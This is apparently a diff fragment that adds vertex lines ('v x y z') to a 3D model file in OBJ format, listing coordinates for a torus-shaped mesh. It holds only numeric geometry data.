+v 0.017036 0.129398 0.011250
+v 0.016742 0.127169 0.005823
+v 0.016642 0.126409 0.000000
+v 0.016742 0.127169 -0.005823
+v 0.017036 0.129398 -0.011250
+v 0.017502 0.132943 -0.015910
+v 0.018110 0.137563 -0.019486
+v 0.018819 0.142943 -0.021733
+v 0.019579 0.148717 -0.022500
+v 0.020339 0.154490 -0.021733
+v 0.021047 0.159871 -0.019486
+v 0.021656 0.164491 -0.015910
+v 0.022122 0.168036 -0.011250
+v 0.022416 0.170264 -0.005823
+v 0.011282 0.172131 0.000000
+v 0.011232 0.171366 0.005823
+v 0.011085 0.169123 0.011250
+v 0.010851 0.165555 0.015910
+v 0.010546 0.160905 0.019486
+v 0.010191 0.155490 0.021733
+v 0.009810 0.149679 0.022500
+v 0.009430 0.143868 0.021733
+v 0.009075 0.138453 0.019486
+v 0.008770 0.133803 0.015910
+v 0.008536 0.130235 0.011250
+v 0.008389 0.127992 0.005823
+v 0.008339 0.127227 0.000000
+v 0.008389 0.127992 -0.005823
+v 0.008536 0.130235 -0.011250
+v 0.008770 0.133803 -0.015910
+v 0.009075 0.138453 -0.019486
+v 0.009430 0.143868 -0.021733
+v 0.009810 0.149679 -0.022500
+v 0.010191 0.155490 -0.021733
+v 0.010546 0.160905 -0.019486
+v 0.010851 0.165555 -0.015910
+v 0.011085 0.169123 -0.011250
+v 0.011232 0.171366 -0.005823
+v 0.000000 0.172500 0.000000
+v 0.000000 0.171733 0.005823
+v 0.000000 0.169486 0.011250
+v 0.000000 0.165910 0.015910
+v 0.000000 0.161250 0.019486
+v 0.000000 0.155823 0.021733
+v 0.000000 0.150000 0.022500
+v 0.000000 0.144177 0.021733
+v 0.000000 0.138750 0.019486
+v 0.000000 0.134090 0.015910
+v 0.000000 0.130514 0.011250
+v 0.000000 0.128267 0.005823
+v 0.000000 0.127500 0.000000
+v 0.000000 0.128267 -0.005823
+v 0.000000 0.130514 -0.011250
+v 0.000000 0.134090 -0.015910
+v 0.000000 0.138750 -0.019486
+v 0.000000 0.144177 -0.021733
+v 0.000000 0.150000 -0.022500
+v 0.000000 0.155823 -0.021733
+v 0.000000 0.161250 -0.019486
+v 0.000000 0.165910 -0.015910
+v 0.000000 0.169486 -0.011250
+v 0.000000 0.171733 -0.005823
+v -0.011282 0.172131 0.000000
+v -0.011232 0.171366 0.005823
+v -0.011085 0.169123 0.011250
+v -0.010851 0.165555 0.015910
+v -0.010546 0.160905 0.019486
+v -0.010191 0.155490 0.021733
+v -0.009810 0.149679 0.022500
+v -0.009430 0.143868 0.021733
+v -0.009075 0.138453 0.019486
+v -0.008770 0.133803 0.015910
+v -0.008536 0.130235 0.011250
+v -0.008389 0.127992 0.005823
+v -0.008339 0.127227 0.000000
+v -0.008389 0.127992 -0.005823
+v -0.008536 0.130235 -0.011250
+v -0.008770 0.133803 -0.015910
+v -0.009075 0.138453 -0.019486
+v -0.009430 0.143868 -0.021733
+v -0.009810 0.149679 -0.022500
+v -0.010191 0.155490 -0.021733
+v -0.010546 0.160905 -0.019486
+v -0.010851 0.165555 -0.015910
+v -0.011085 0.169123 -0.011250
+v -0.011232 0.171366 -0.005823
+v -0.022516 0.171024 0.000000
+v -0.022416 0.170264 0.005823
+v -0.022122 0.168036 0.011250
+v -0.021656 0.164491 0.015910
+v -0.021047 0.159871 0.019486
+v -0.020339 0.154490 0.021733
+v -0.019579 0.148717 0.022500
+v -0.018819 0.142943 0.021733
+v -0.018111 0.137563 0.019486
+v -0.017502 0.132943 0.015910
+v -0.017036 0.129398 0.011250
+v -0.016742 0.127169 0.005823
+v -0.016642 0.126409 0.000000
+v -0.016742 0.127169 -0.005823
+v -0.017036 0.129398 -0.011250
+v -0.017502 0.132943 -0.015910
+v -0.018111 0.137563 -0.019486
+v -0.018819 0.142943 -0.021733
+v -0.019579 0.148717 -0.022500
+v -0.020339 0.154490 -0.021733
+v -0.021047 0.159871 -0.019486
+v -0.021656 0.164491 -0.015910
+v -0.022122 0.168036 -0.011250
+v -0.022416 0.170264 -0.005823
+v -0.033653 0.169185 0.000000
+v -0.033504 0.168434 0.005823
+v -0.033065 0.166229 0.011250
+v -0.032367 0.162722 0.015910
+v -0.031458 0.158152 0.019486
+v -0.030400 0.152829 0.021733
+v -0.029264 0.147118 0.022500
+v -0.028127 0.141406 0.021733
+v -0.027069 0.136084 0.019486
+v -0.026160 0.131514 0.015910
+v -0.025462 0.128007 0.011250
+v -0.025024 0.125802 0.005823
+v -0.024874 0.125050 0.000000
+v -0.025024 0.125802 -0.005823
+v -0.025462 0.128007 -0.011250
+v -0.026160 0.131514 -0.015910
+v -0.027069 0.136084 -0.019486
+v -0.028127 0.141406 -0.021733
+v -0.029264 0.147118 -0.022500
+v -0.030400 0.152829 -0.021733
+v -0.031458 0.158152 -0.019486
+v -0.032367 0.162722 -0.015910
+v -0.033065 0.166229 -0.011250
+v -0.033504 0.168434 -0.005823
+v -0.044646 0.166622 0.000000
+v -0.044448 0.165882 0.005823
+v -0.043866 0.163710 0.011250
+v -0.042941 0.160257 0.015910
+v -0.041735 0.155756 0.019486
+v -0.040330 0.150514 0.021733
+v -0.038823 0.144889 0.022500
+v -0.037316 0.139264 0.021733
+v -0.035911 0.134022 0.019486
+v -0.034705 0.129521 0.015910
+v -0.033780 0.126067 0.011250
+v -0.033198 0.123896 0.005823
+v -0.032999 0.123156 0.000000
+v -0.033198 0.123896 -0.005823
+v -0.033780 0.126067 -0.011250
+v -0.034705 0.129521 -0.015910
+v -0.035911 0.134022 -0.019486
+v -0.037316 0.139264 -0.021733
+v -0.038823 0.144889 -0.022500
+v -0.040330 0.150514 -0.021733
+v -0.041735 0.155756 -0.019486
+v -0.042941 0.160257 -0.015910
+v -0.043866 0.163710 -0.011250
+v -0.044448 0.165882 -0.005823
+v -0.055448 0.163345 0.000000
+v -0.055202 0.162619 0.005823
+v -0.054479 0.160491 0.011250
+v -0.053330 0.157105 0.015910
+v -0.051832 0.152692 0.019486
+v -0.050088 0.147554 0.021733
+v -0.048216 0.142040 0.022500
+v -0.046344 0.136525 0.021733
+v -0.044600 0.131387 0.019486
+v -0.043102 0.126974 0.015910
+v -0.041953 0.123588 0.011250
+v -0.041230 0.121460 0.005823
+v -0.040984 0.120734 0.000000
+v -0.041230 0.121460 -0.005823
+v -0.041953 0.123588 -0.011250
+v -0.043102 0.126974 -0.015910
+v -0.044600 0.131387 -0.019486
+v -0.046344 0.136525 -0.021733
+v -0.048216 0.142040 -0.022500
+v -0.050088 0.147554 -0.021733
+v -0.051832 0.152692 -0.019486
+v -0.053330 0.157105 -0.015910
+v -0.054479 0.160491 -0.011250
+v -0.055202 0.162619 -0.005823
+v -0.066013 0.159369 0.000000
+v -0.065720 0.158661 0.005823
+v -0.064859 0.156584 0.011250
+v -0.063491 0.153281 0.015910
+v -0.061708 0.148976 0.019486
+v -0.059631 0.143962 0.021733
+v -0.057403 0.138582 0.022500
+v -0.055174 0.133202 0.021733
+v -0.053097 0.128188 0.019486
+v -0.051314 0.123883 0.015910
+v -0.049946 0.120580 0.011250
+v -0.049086 0.118503 0.005823
+v -0.048792 0.117795 0.000000
+v -0.049086 0.118503 -0.005823
+v -0.049946 0.120580 -0.011250
+v -0.051314 0.123883 -0.015910
+v -0.053097 0.128188 -0.019486
+v -0.055174 0.133202 -0.021733
+v -0.057403 0.138582 -0.022500
+v -0.059631 0.143962 -0.021733
+v -0.061708 0.148976 -0.019486
+v -0.063491 0.153281 -0.015910
+v -0.064859 0.156584 -0.011250
+v -0.065720 0.158661 -0.005823
+v -0.076295 0.154711 0.000000
+v -0.075956 0.154023 0.005823
+v -0.074962 0.152007 0.011250
+v -0.073380 0.148800 0.015910
+v -0.071319 0.144621 0.019486
+v -0.068919 0.139754 0.021733
+v -0.066343 0.134531 0.022500
+v -0.063768 0.129308 0.021733
+v -0.061368 0.124441 0.019486
+v -0.059307 0.120262 0.015910
+v -0.057725 0.117055 0.011250
+v -0.056731 0.115039 0.005823
+v -0.056392 0.114351 0.000000
+v -0.056731 0.115039 -0.005823
+v -0.057725 0.117055 -0.011250
+v -0.059307 0.120262 -0.015910
+v -0.061368 0.124441 -0.019486
+v -0.063768 0.129308 -0.021733
+v -0.066343 0.134531 -0.022500
+v -0.068919 0.139754 -0.021733
+v -0.071319 0.144621 -0.019486
+v -0.073380 0.148800 -0.015910
+v -0.074962 0.152007 -0.011250
+v -0.075956 0.154023 -0.005823
+v -0.086250 0.149389 0.000000
+v -0.085867 0.148725 0.005823
+v -0.084743 0.146779 0.011250
+v -0.082955 0.143682 0.015910
+v -0.080625 0.139647 0.019486
+v -0.077912 0.134947 0.021733
+v -0.075000 0.129904 0.022500
+v -0.072088 0.124861 0.021733
+v -0.069375 0.120161 0.019486
+v -0.067045 0.116125 0.015910
+v -0.065257 0.113029 0.011250
+v -0.064133 0.111082 0.005823
+v -0.063750 0.110418 0.000000
+v -0.064133 0.111082 -0.005823
+v -0.065257 0.113029 -0.011250
+v -0.067045 0.116125 -0.015910
+v -0.069375 0.120161 -0.019486
+v -0.072088 0.124861 -0.021733
+v -0.075000 0.129904 -0.022500
+v -0.077912 0.134947 -0.021733
+v -0.080625 0.139647 -0.019486
+v -0.082955 0.143682 -0.015910
+v -0.084743 0.146779 -0.011250
+v -0.085867 0.148725 -0.005823
+v -0.095836 0.143429 0.000000
+v -0.095410 0.142791 0.005823
+v -0.094161 0.140922 0.011250
+v -0.092175 0.137949 0.015910
+v -0.089586 0.134075 0.019486
+v -0.086571 0.129562 0.021733
+v -0.083335 0.124720 0.022500
+v -0.080100 0.119878 0.021733
+v -0.077085 0.115366 0.019486
+v -0.074496 0.111492 0.015910
+v -0.072510 0.108519 0.011250
+v -0.071261 0.106650 0.005823
+v -0.070835 0.106012 0.000000
+v -0.071261 0.106650 -0.005823
+v -0.072510 0.108519 -0.011250
+v -0.074496 0.111492 -0.015910
+v -0.077085 0.115366 -0.019486
+v -0.080100 0.119878 -0.021733
+v -0.083335 0.124720 -0.022500
+v -0.086571 0.129562 -0.021733
+v -0.089586 0.134075 -0.019486
+v -0.092175 0.137949 -0.015910
+v -0.094161 0.140922 -0.011250
+v -0.095410 0.142791 -0.005823
+v -0.105011 0.136853 0.000000
+v -0.104545 0.136245 0.005823
+v -0.103176 0.134462 0.011250
+v -0.101000 0.131625 0.015910
+v -0.098163 0.127928 0.019486
+v -0.094859 0.123623 0.021733
+v -0.091314 0.119003 0.022500
+v -0.087769 0.114383 0.021733
+v -0.084466 0.110078 0.019486
+v -0.081629 0.106381 0.015910
+v -0.079452 0.103544 0.011250
+v -0.078084 0.101761 0.005823
+v -0.077617 0.101153 0.000000
+v -0.078084 0.101761 -0.005823
+v -0.079452 0.103544 -0.011250
+v -0.081629 0.106381 -0.015910
+v -0.084466 0.110078 -0.019486
+v -0.087769 0.114383 -0.021733
+v -0.091314 0.119003 -0.022500
+v -0.094859 0.123623 -0.021733
+v -0.098163 0.127928 -0.019486
+v -0.101000 0.131625 -0.015910
+v -0.103176 0.134462 -0.011250
+v -0.104545 0.136245 -0.005823
+v -0.113737 0.129692 0.000000
+v -0.113232 0.129116 0.005823
+v -0.111750 0.127426 0.011250
+v -0.109392 0.124738 0.015910
+v -0.106320 0.121234 0.019486
+v -0.102742 0.117154 0.021733
+v -0.098902 0.112776 0.022500
+v -0.095062 0.108398 0.021733
+v -0.091484 0.104318 0.019486
+v -0.088412 0.100814 0.015910
+v -0.086054 0.098126 0.011250
+v -0.084572 0.096436 0.005823
+v -0.084067 0.095860 0.000000
+v -0.084572 0.096436 -0.005823
+v -0.086054 0.098126 -0.011250
+v -0.088412 0.100814 -0.015910
+v -0.091484 0.104318 -0.019486
+v -0.095062 0.108398 -0.021733
+v -0.098902 0.112776 -0.022500
+v -0.102742 0.117154 -0.021733
+v -0.106320 0.121234 -0.019486
+v -0.109392 0.124738 -0.015910
+v -0.111750 0.127426 -0.011250
+v -0.113232 0.129116 -0.005823
+v -0.121976 0.121976 0.000000
+v -0.121434 0.121434 0.005823
+v -0.119844 0.119844 0.011250
+v -0.117316 0.117316 0.015910
+v -0.114021 0.114021 0.019486
+v -0.110184 0.110184 0.021733
+v -0.106066 0.106066 0.022500
+v -0.101948 0.101948 0.021733
+v -0.098111 0.098111 0.019486
+v -0.094816 0.094816 0.015910
+v -0.092288 0.092288 0.011250
+v -0.090698 0.090698 0.005823
+v -0.090156 0.090156 0.000000
+v -0.090698 0.090698 -0.005823
+v -0.092288 0.092288 -0.011250
+v -0.094816 0.094816 -0.015910
+v -0.098111 0.098111 -0.019486
+v -0.101948 0.101948 -0.021733
+v -0.106066 0.106066 -0.022500
+v -0.110184 0.110184 -0.021733
+v -0.114021 0.114021 -0.019486
+v -0.117316 0.117316 -0.015910
+v -0.119844 0.119844 -0.011250
+v -0.121434 0.121434 -0.005823
+v -0.129692 0.113737 0.000000
+v -0.129116 0.113232 0.005823
+v -0.127426 0.111750 0.011250
+v -0.124738 0.109392 0.015910
+v -0.121234 0.106320 0.019486
+v -0.117154 0.102742 0.021733
+v -0.112776 0.098902 0.022500
+v -0.108398 0.095062 0.021733
+v -0.104318 0.091484 0.019486
+v -0.100814 0.088412 0.015910
+v -0.098126 0.086054 0.011250
+v -0.096436 0.084572 0.005823
+v -0.095860 0.084067 0.000000
+v -0.096436 0.084572 -0.005823
+v -0.098126 0.086054 -0.011250
+v -0.100814 0.088412 -0.015910
+v -0.104318 0.091484 -0.019486
+v -0.108398 0.095062 -0.021733
+v -0.112776 0.098902 -0.022500
+v -0.117154 0.102742 -0.021733
+v -0.121234 0.106320 -0.019486
+v -0.124738 0.109392 -0.015910
+v -0.127426 0.111750 -0.011250
+v -0.129116 0.113232 -0.005823
+v -0.136853 0.105011 0.000000
+v -0.136245 0.104545 0.005823
+v -0.134462 0.103176 0.011250
+v -0.131625 0.101000 0.015910
+v -0.127928 0.098163 0.019486
+v -0.123623 0.094859 0.021733
+v -0.119003 0.091314 0.022500
+v -0.114383 0.087769 0.021733
+v -0.110078 0.084466 0.019486
+v -0.106381 0.081629 0.015910
+v -0.103544 0.079452 0.011250
+v -0.101761 0.078084 0.005823
+v -0.101153 0.077617 0.000000
+v -0.101761 0.078084 -0.005823
+v -0.103544 0.079452 -0.011250
+v -0.106381 0.081629 -0.015910
+v -0.110078 0.084466 -0.019486
+v -0.114383 0.087769 -0.021733
+v -0.119003 0.091314 -0.022500
+v -0.123623 0.094859 -0.021733
+v -0.127928 0.098163 -0.019486
+v -0.131625 0.101000 -0.015910
+v -0.134462 0.103176 -0.011250
+v -0.136245 0.104545 -0.005823
+v -0.143428 0.095836 0.000000
+v -0.142791 0.095410 0.005823
+v -0.140922 0.094161 0.011250
+v -0.137949 0.092175 0.015910
+v -0.134074 0.089586 0.019486
+v -0.129562 0.086571 0.021733
+v -0.124720 0.083336 0.022500
+v -0.119878 0.080100 0.021733
+v -0.115366 0.077085 0.019486
+v -0.111492 0.074496 0.015910
+v -0.108519 0.072510 0.011250
+v -0.106650 0.071261 0.005823
+v -0.106012 0.070835 0.000000
+v -0.106650 0.071261 -0.005823
+v -0.108519 0.072510 -0.011250
+v -0.111492 0.074496 -0.015910
+v -0.115366 0.077085 -0.019486
+v -0.119878 0.080100 -0.021733
+v -0.124720 0.083336 -0.022500
+v -0.129562 0.086571 -0.021733
+v -0.134074 0.089586 -0.019486
+v -0.137949 0.092175 -0.015910
+v -0.140922 0.094161 -0.011250
+v -0.142791 0.095410 -0.005823
+v -0.149389 0.086250 0.000000
+v -0.148725 0.085867 0.005823
+v -0.146779 0.084743 0.011250
+v -0.143682 0.082955 0.015910
+v -0.139647 0.080625 0.019486
+v -0.134947 0.077912 0.021733
+v -0.129904 0.075000 0.022500
+v -0.124861 0.072088 0.021733
+v -0.120161 0.069375 0.019486
+v -0.116125 0.067045 0.015910
+v -0.113029 0.065257 0.011250
+v -0.111082 0.064133 0.005823
+v -0.110418 0.063750 0.000000
+v -0.111082 0.064133 -0.005823
+v -0.113029 0.065257 -0.011250
+v -0.116125 0.067045 -0.015910
+v -0.120161 0.069375 -0.019486
+v -0.124861 0.072088 -0.021733
+v -0.129904 0.075000 -0.022500
+v -0.134947 0.077912 -0.021733
+v -0.139647 0.080625 -0.019486
+v -0.143682 0.082955 -0.015910
+v -0.146779 0.084743 -0.011250
+v -0.148725 0.085867 -0.005823
+v -0.154711 0.076295 0.000000
+v -0.154023 0.075956 0.005823
+v -0.152007 0.074962 0.011250
+v -0.148800 0.073380 0.015910
+v -0.144621 0.071319 0.019486
+v -0.139754 0.068919 0.021733
+v -0.134531 0.066343 0.022500
+v -0.129308 0.063768 0.021733
+v -0.124441 0.061368 0.019486
+v -0.120262 0.059307 0.015910
+v -0.117055 0.057725 0.011250
+v -0.115039 0.056731 0.005823
+v -0.114351 0.056392 0.000000
+v -0.115039 0.056731 -0.005823
+v -0.117055 0.057725 -0.011250
+v -0.120262 0.059307 -0.015910
+v -0.124441 0.061368 -0.019486
+v -0.129308 0.063768 -0.021733
+v -0.134531 0.066343 -0.022500
+v -0.139754 0.068919 -0.021733
+v -0.144621 0.071319 -0.019486
+v -0.148800 0.073380 -0.015910
+v -0.152007 0.074962 -0.011250
+v -0.154023 0.075956 -0.005823
+v -0.159369 0.066013 0.000000
+v -0.158661 0.065720 0.005823
+v -0.156584 0.064859 0.011250
+v -0.153281 0.063491 0.015910
+v -0.148976 0.061708 0.019486
+v -0.143962 0.059631 0.021733
+v -0.138582 0.057403 0.022500
+v -0.133202 0.055174 0.021733
+v -0.128188 0.053097 0.019486
+v -0.123883 0.051314 0.015910
+v -0.120580 0.049946 0.011250
+v -0.118503 0.049086 0.005823
+v -0.117795 0.048792 0.000000
+v -0.118503 0.049086 -0.005823
+v -0.120580 0.049946 -0.011250
+v -0.123883 0.051314 -0.015910
+v -0.128188 0.053097 -0.019486
+v -0.133202 0.055174 -0.021733
+v -0.138582 0.057403 -0.022500
+v -0.143962 0.059631 -0.021733
+v -0.148976 0.061708 -0.019486
+v -0.153281 0.063491 -0.015910
+v -0.156584 0.064859 -0.011250
+v -0.158661 0.065720 -0.005823
+v -0.163345 0.055448 0.000000
+v -0.162620 0.055202 0.005823
+v -0.160491 0.054479 0.011250
+v -0.157105 0.053330 0.015910
+v -0.152693 0.051832 0.019486
+v -0.147554 0.050088 0.021733
+v -0.142040 0.048216 0.022500
+v -0.136525 0.046344 0.021733
+v -0.131387 0.044600 0.019486
+v -0.126974 0.043102 0.015910
+v -0.123588 0.041952 0.011250
+v -0.121460 0.041230 0.005823
+v -0.120734 0.040984 0.000000
+v -0.121460 0.041230 -0.005823
+v -0.123588 0.041952 -0.011250
+v -0.126974 0.043102 -0.015910
+v -0.131387 0.044600 -0.019486
+v -0.136525 0.046344 -0.021733
+v -0.142040 0.048216 -0.022500
+v -0.147554 0.050088 -0.021733
+v -0.152693 0.051832 -0.019486
+v -0.157105 0.053330 -0.015910
+v -0.160491 0.054479 -0.011250
+v -0.162620 0.055202 -0.005823
+v -0.166622 0.044646 0.000000
+v -0.165882 0.044448 0.005823
+v -0.163711 0.043866 0.011250
+v -0.160257 0.042941 0.015910
+v -0.155756 0.041735 0.019486
+v -0.150514 0.040330 0.021733
+v -0.144889 0.038823 0.022500
+v -0.139264 0.037316 0.021733
+v -0.134022 0.035911 0.019486
+v -0.129521 0.034705 0.015910
+v -0.126067 0.033780 0.011250
+v -0.123896 0.033198 0.005823
+v -0.123156 0.032999 0.000000
+v -0.123896 0.033198 -0.005823
+v -0.126067 0.033780 -0.011250
+v -0.129521 0.034705 -0.015910
+v -0.134022 0.035911 -0.019486
+v -0.139264 0.037316 -0.021733
+v -0.144889 0.038823 -0.022500
+v -0.150514 0.040330 -0.021733
+v -0.155756 0.041735 -0.019486
+v -0.160257 0.042941 -0.015910
+v -0.163711 0.043866 -0.011250
+v -0.165882 0.044448 -0.005823
+v -0.169185 0.033653 0.000000
+v -0.168434 0.033504 0.005823
+v -0.166229 0.033065 0.011250
+v -0.162722 0.032367 0.015910
+v -0.158152 0.031458 0.019486
+v -0.152829 0.030400 0.021733
+v -0.147118 0.029264 0.022500
+v -0.141406 0.028127 0.021733
+v -0.136084 0.027069 0.019486
+v -0.131514 0.026160 0.015910
+v -0.128007 0.025462 0.011250
+v -0.125802 0.025024 0.005823
+v -0.125050 0.024874 0.000000
+v -0.125802 0.025024 -0.005823
+v -0.128007 0.025462 -0.011250
+v -0.131514 0.026160 -0.015910
+v -0.136084 0.027069 -0.019486
+v -0.141406 0.028127 -0.021733
+v -0.147118 0.029264 -0.022500
+v -0.152829 0.030400 -0.021733
+v -0.158152 0.031458 -0.019486
+v -0.162722 0.032367 -0.015910
+v -0.166229 0.033065 -0.011250
+v -0.168434 0.033504 -0.005823
+v -0.171024 0.022516 0.000000
+v -0.170264 0.022416 0.005823
+v -0.168036 0.022122 0.011250
+v -0.164491 0.021656 0.015910
+v -0.159871 0.021047 0.019486
+v -0.154490 0.020339 0.021733
+v -0.148717 0.019579 0.022500
+v -0.142943 0.018819 0.021733
+v -0.137563 0.018111 0.019486
+v -0.132943 0.017502 0.015910
+v -0.129398 0.017036 0.011250
+v -0.127169 0.016742 0.005823
+v -0.126409 0.016642 0.000000
+v -0.127169 0.016742 -0.005823
+v -0.129398 0.017036 -0.011250
+v -0.132943 0.017502 -0.015910
+v -0.137563 0.018111 -0.019486
+v -0.142943 0.018819 -0.021733
+v -0.148717 0.019579 -0.022500
+v -0.154490 0.020339 -0.021733
+v -0.159871 0.021047 -0.019486
+v -0.164491 0.021656 -0.015910
+v -0.168036 0.022122 -0.011250
+v -0.170264 0.022416 -0.005823
+v -0.172131 0.011282 0.000000
+v -0.171366 0.011232 0.005823
+v -0.169123 0.011085 0.011250
+v -0.165555 0.010851 0.015910
+v -0.160905 0.010546 0.019486
+v -0.155490 0.010191 0.021733
+v -0.149679 0.009811 0.022500
+v -0.143868 0.009430 0.021733
+v -0.138453 0.009075 0.019486
+v -0.133803 0.008770 0.015910
+v -0.130235 0.008536 0.011250
+v -0.127992 0.008389 0.005823
+v -0.127227 0.008339 0.000000
+v -0.127992 0.008389 -0.005823
+v -0.130235 0.008536 -0.011250
+v -0.133803 0.008770 -0.015910
+v -0.138453 0.009075 -0.019486
+v -0.143868 0.009430 -0.021733
+v -0.149679 0.009811 -0.022500
+v -0.155490 0.010191 -0.021733
+v -0.160905 0.010546 -0.019486
+v -0.165555 0.010851 -0.015910
+v -0.169123 0.011085 -0.011250
+v -0.171366 0.011232 -0.005823
+v -0.172500 0.000000 0.000000
+v -0.171733 0.000000 0.005823
+v -0.169486 0.000000 0.011250
+v -0.165910 0.000000 0.015910
+v -0.161250 0.000000 0.019486
+v -0.155823 0.000000 0.021733
+v -0.150000 0.000000 0.022500
+v -0.144177 0.000000 0.021733
+v -0.138750 0.000000 0.019486
+v -0.134090 0.000000 0.015910
+v -0.130514 0.000000 0.011250
+v -0.128267 0.000000 0.005823
+v -0.127500 0.000000 0.000000
+v -0.128267 0.000000 -0.005823
+v -0.130514 0.000000 -0.011250
+v -0.134090 0.000000 -0.015910
+v -0.138750 0.000000 -0.019486
+v -0.144177 0.000000 -0.021733
+v -0.150000 0.000000 -0.022500
+v -0.155823 0.000000 -0.021733
+v -0.161250 0.000000 -0.019486
+v -0.165910 0.000000 -0.015910
+v -0.169486 0.000000 -0.011250
+v -0.171733 0.000000 -0.005823
+v -0.172131 -0.011282 -0.000000
+v -0.171366 -0.011232 0.005823
+v -0.169123 -0.011085 0.011250
+v -0.165555 -0.010851 0.015910
+v -0.160905 -0.010546 0.019486
+v -0.155490 -0.010191 0.021733
+v -0.149679 -0.009810 0.022500
+v -0.143868 -0.009430 0.021733
+v -0.138453 -0.009075 0.019486
+v -0.133803 -0.008770 0.015910
+v -0.130235 -0.008536 0.011250
+v -0.127992 -0.008389 0.005823
+v -0.127227 -0.008339 -0.000000
+v -0.127992 -0.008389 -0.005823
+v -0.130235 -0.008536 -0.011250
+v -0.133803 -0.008770 -0.015910
+v -0.138453 -0.009075 -0.019486
+v -0.143868 -0.009430 -0.021733
+v -0.149679 -0.009810 -0.022500
+v -0.155490 -0.010191 -0.021733
+v -0.160905 -0.010546 -0.019486
+v -0.165555 -0.010851 -0.015910
+v -0.169123 -0.011085 -0.011250
+v -0.171366 -0.011232 -0.005823
+v -0.171024 -0.022516 -0.000000
+v -0.170264 -0.022416 0.005823
+v -0.168036 -0.022122 0.011250
+v -0.164491 -0.021656 0.015910
+v -0.159871 -0.021047 0.019486
+v -0.154490 -0.020339 0.021733
+v -0.148717 -0.019579 0.022500
+v -0.142943 -0.018819 0.021733
+v -0.137563 -0.018111 0.019486
+v -0.132943 -0.017502 0.015910
+v -0.129398 -0.017036 0.011250
+v -0.127169 -0.016742 0.005823
+v -0.126409 -0.016642 -0.000000
+v -0.127169 -0.016742 -0.005823
+v -0.129398 -0.017036 -0.011250
+v -0.132943 -0.017502 -0.015910
+v -0.137563 -0.018111 -0.019486
+v -0.142943 -0.018819 -0.021733
+v -0.148717 -0.019579 -0.022500
+v -0.154490 -0.020339 -0.021733
+v -0.159871 -0.021047 -0.019486
+v -0.164491 -0.021656 -0.015910
+v -0.168036 -0.022122 -0.011250
+v -0.170264 -0.022416 -0.005823
+v -0.169185 -0.033653 -0.000000
+v -0.168434 -0.033504 0.005823
+v -0.166229 -0.033065 0.011250
+v -0.162722 -0.032367 0.015910
+v -0.158152 -0.031458 0.019486
+v -0.152829 -0.030400 0.021733
+v -0.147118 -0.029264 0.022500
+v -0.141406 -0.028127 0.021733
+v -0.136084 -0.027069 0.019486
+v -0.131514 -0.026160 0.015910
+v -0.128007 -0.025462 0.011250
+v -0.125802 -0.025024 0.005823
+v -0.125050 -0.024874 -0.000000
+v -0.125802 -0.025024 -0.005823
+v -0.128007 -0.025462 -0.011250
+v -0.131514 -0.026160 -0.015910
+v -0.136084 -0.027069 -0.019486
+v -0.141406 -0.028127 -0.021733
+v -0.147118 -0.029264 -0.022500
+v -0.152829 -0.030400 -0.021733
+v -0.158152 -0.031458 -0.019486
+v -0.162722 -0.032367 -0.015910
+v -0.166229 -0.033065 -0.011250
+v -0.168434 -0.033504 -0.005823
+v -0.166622 -0.044646 -0.000000
+v -0.165882 -0.044448 0.005823
+v -0.163711 -0.043866 0.011250
+v -0.160257 -0.042941 0.015910
+v -0.155756 -0.041735 0.019486
+v -0.150514 -0.040330 0.021733
+v -0.144889 -0.038823 0.022500
+v -0.139264 -0.037316 0.021733
+v -0.134022 -0.035911 0.019486
+v -0.129521 -0.034705 0.015910
+v -0.126067 -0.033780 0.011250
+v -0.123896 -0.033198 0.005823
+v -0.123156 -0.032999 -0.000000
+v -0.123896 -0.033198 -0.005823
+v -0.126067 -0.033780 -0.011250
+v -0.129521 -0.034705 -0.015910
+v -0.134022 -0.035911 -0.019486
+v -0.139264 -0.037316 -0.021733
+v -0.144889 -0.038823 -0.022500
+v -0.150514 -0.040330 -0.021733
+v -0.155756 -0.041735 -0.019486
+v -0.160257 -0.042941 -0.015910
+v -0.163711 -0.043866 -0.011250
+v -0.165882 -0.044448 -0.005823
+v -0.163345 -0.055448 -0.000000
+v -0.162620 -0.055202 0.005823
+v -0.160491 -0.054479 0.011250
+v -0.157105 -0.053330 0.015910
+v -0.152693 -0.051832 0.019486
+v -0.147554 -0.050088 0.021733
+v -0.142040 -0.048216 0.022500
+v -0.136525 -0.046344 0.021733
+v -0.131387 -0.044600 0.019486
+v -0.126974 -0.043102 0.015910
+v -0.123588 -0.041952 0.011250
+v -0.121460 -0.041230 0.005823
+v -0.120734 -0.040984 -0.000000
+v -0.121460 -0.041230 -0.005823
+v -0.123588 -0.041952 -0.011250
+v -0.126974 -0.043102 -0.015910
+v -0.131387 -0.044600 -0.019486
+v -0.136525 -0.046344 -0.021733
+v -0.142040 -0.048216 -0.022500
+v -0.147554 -0.050088 -0.021733
+v -0.152693 -0.051832 -0.019486
+v -0.157105 -0.053330 -0.015910
+v -0.160491 -0.054479 -0.011250
+v -0.162620 -0.055202 -0.005823
+v -0.159369 -0.066013 -0.000000
+v -0.158661 -0.065719 0.005823
+v -0.156584 -0.064859 0.011250
+v -0.153281 -0.063491 0.015910
+v -0.148976 -0.061708 0.019486
+v -0.143962 -0.059631 0.021733
+v -0.138582 -0.057402 0.022500
+v -0.133202 -0.055174 0.021733
+v -0.128188 -0.053097 0.019486
+v -0.123883 -0.051314 0.015910
+v -0.120580 -0.049946 0.011250
+v -0.118503 -0.049085 0.005823
+v -0.117795 -0.048792 -0.000000
+v -0.118503 -0.049085 -0.005823
+v -0.120580 -0.049946 -0.011250
+v -0.123883 -0.051314 -0.015910
+v -0.128188 -0.053097 -0.019486
+v -0.133202 -0.055174 -0.021733
+v -0.138582 -0.057402 -0.022500
+v -0.143962 -0.059631 -0.021733
+v -0.148976 -0.061708 -0.019486
+v -0.153281 -0.063491 -0.015910
+v -0.156584 -0.064859 -0.011250
+v -0.158661 -0.065719 -0.005823
+v -0.154711 -0.076295 -0.000000
+v -0.154023 -0.075956 0.005823
+v -0.152007 -0.074962 0.011250
+v -0.148800 -0.073380 0.015910
+v -0.144621 -0.071319 0.019486
+v -0.139754 -0.068919 0.021733
+v -0.134531 -0.066343 0.022500
+v -0.129308 -0.063768 0.021733
+v -0.124441 -0.061368 0.019486
+v -0.120262 -0.059307 0.015910
+v -0.117055 -0.057725 0.011250
+v -0.115039 -0.056731 0.005823
+v -0.114351 -0.056392 -0.000000
+v -0.115039 -0.056731 -0.005823
+v -0.117055 -0.057725 -0.011250
+v -0.120262 -0.059307 -0.015910
+v -0.124441 -0.061368 -0.019486
+v -0.129308 -0.063768 -0.021733
+v -0.134531 -0.066343 -0.022500
+v -0.139754 -0.068919 -0.021733
